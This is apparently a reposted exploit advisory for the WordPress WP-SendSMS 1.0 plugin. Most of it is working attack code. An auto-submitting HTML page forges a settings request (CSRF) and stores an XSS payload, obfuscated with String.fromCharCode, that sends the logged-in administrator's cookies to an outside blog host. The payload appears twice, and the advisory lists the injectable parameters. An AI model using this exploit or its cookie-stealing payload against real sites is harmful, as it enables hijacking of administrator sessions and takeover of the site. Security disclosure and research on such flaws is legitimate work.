Wordpress WP-SendSMS Plugin 1.0 - Multiple Vulnerabilities

🗓️ 11 Jun 2013 00:00:00Reported by expl0i13rType
zdt🔗 0day.today👁 20 Views
WordPress WP-SendSMS Plugin 1.0 allows CSRF to trigger Stored XSS, exposing user cookies to attacker's website
Summary:
========
 1. Plugin Description
 2. CSRF to Trigger Stored XSS
 3. Stored XSS Details
 
 
1. Plugin Description:
========================
 
WP-SendSMS is WordPress Plugin for allowing user to send SMS using SMS Gateway.
This Plugin allows site owner to add SMS Gateway in Plugin Setting Page.
 
 
2. CSRF to Trigger Stored XSS :
===============================
 
 
Vulnerability Description:
---------------------------
 
This wordpress plugin "WP-SendSMS 1.0" suffers from CSRF vulnerability which can be successfully exploited to trigger Stored XSS vulnerability which in turn sends Wordpress logged in user's cookie to attacker's website.
 
Attacker can also exploit this CSRF vulnerability to change SMS Settings.
 
 
Affected URL:
--------------
 
http://127.0.0.1/wordpress-3.5.1/wordpress/wp-admin/admin.php?page=sms
 
 
eXpl0it code:
--------------
 
<html>
<head>
<script type="text/javascript" language="javascript">
function submitform()
{
    document.getElementById('myForm').submit();
}
</script>
</head>
<body>
<form name="myForm" action="http://127.0.0.1/wordpress-3.5.1/wordpress/wp-admin/admin.php?page=sms" method="post">
 
<textarea name="wpsms_api1" id="wpsms_api1" class="regular-text" cols="100" rows="5">http://blackpentesters.blogspot.com/smsapi.php?username=yourusername&password=yourpassword&mobile=[Mobile]&sms=[TextMessage]&senderid=[SenderID]</textarea>
 
<input type="text" name="sender_id" id="sender_id" value="eXpl0i13r">
<input type="checkbox" name="remove_bad_words" id="remove_bad_words" checked="checked" value="1"> 
 
# Below Field Contains XSS Payload for sending Cookies to attacker website :
# In my case this will redirect you to http://blackpentesters.blogspot.com+cookies
 
<input type="text" name="maximum_characters" class="maximum_characters" id="maximum_characters" value=""><script>location=String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(98)+String.fromCharCode(108)+String.fromCharCode(97)+String.fromCharCode(99)+String.fromCharCode(107)+String.fromCharCode(112)+String.fromCharCode(101)+String.fromCharCode(110)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(115)+String.fromCharCode(46)+String.fromCharCode(98)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(115)+String.fromCharCode(112)+String.fromCharCode(111)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109)+String.fromCharCode(47)+String.fromCharCode(63)+document.cookie</script>">
 
<input type="checkbox" name="captcha" id="captcha" checked="checked" value="1">  
<input type="text" name="captcha_width" class="captcha_option_input" value="" id="acpro_inp4">
<input type="text" name="captcha_height" class="captcha_option_input" value="" id="acpro_inp5">
<input type="text" name="captcha_characters" class="captcha_option_input" value="4" id="acpro_inp6">
<input type="checkbox" name="confirm_page" id="confirm_page" checked="checked" value="1"> 
<input type="checkbox" name="allow_without_login" id="allow_without_login" checked="checked" value="1"> 
<input type="checkbox" name="custom_response" id="custom_response" value="1">
<textarea name="custom_response_text" cols="100" rows="5"></textarea>
<input type="hidden" name="settings_submit" value="true">
<input type="submit" value="Update Settings" class="button-primary">
</form>
 
<script type="text/javascript" language="javascript">
document.myForm.submit()
</script>
</body>
</html>
 
 
Stored XSS Details :
=====================
 
URL:
=====
http://127.0.0.1/wordpress-3.5.1/wordpress/wp-admin/admin.php?page=sms
 
Stored XSS Vulnerable Parameters:
==================================
1. sender_id
2. maximum_characters
3. captcha_width
4. captcha_height
4. captcha_characters
 
HTML Code :
-------------
<input type="text" name="sender_id" id="sender_id" value="">
<input type="text" name="maximum_characters" class="maximum_characters" id="maximum_characters" value="">
<input type="text" name="captcha_width" class="captcha_option_input" value="1" id="acpro_inp4">
<input type="text" name="captcha_height" class="captcha_option_input" value="1" id="acpro_inp5">
<input type="text" name="captcha_characters" class="captcha_option_input" value="" id="acpro_inp6">
 
XSS Payload Used:
------------------
 
"><script>location=String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(98)+String.fromCharCode(108)+String.fromCharCode(97)+String.fromCharCode(99)+String.fromCharCode(107)+String.fromCharCode(112)+String.fromCharCode(101)+String.fromCharCode(110)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(115)+String.fromCharCode(46)+String.fromCharCode(98)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(115)+String.fromCharCode(112)+String.fromCharCode(111)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109)+String.fromCharCode(47)+String.fromCharCode(63)+document.cookie</script>
 
 
Each of above parameters can be exploited by attacker through CSRF vulnerability for stealing Cookies.

#  0day.today [2018-01-05]  #
11 Jun 2013 00:00Current
7.1High risk
Vulners AI Score7.1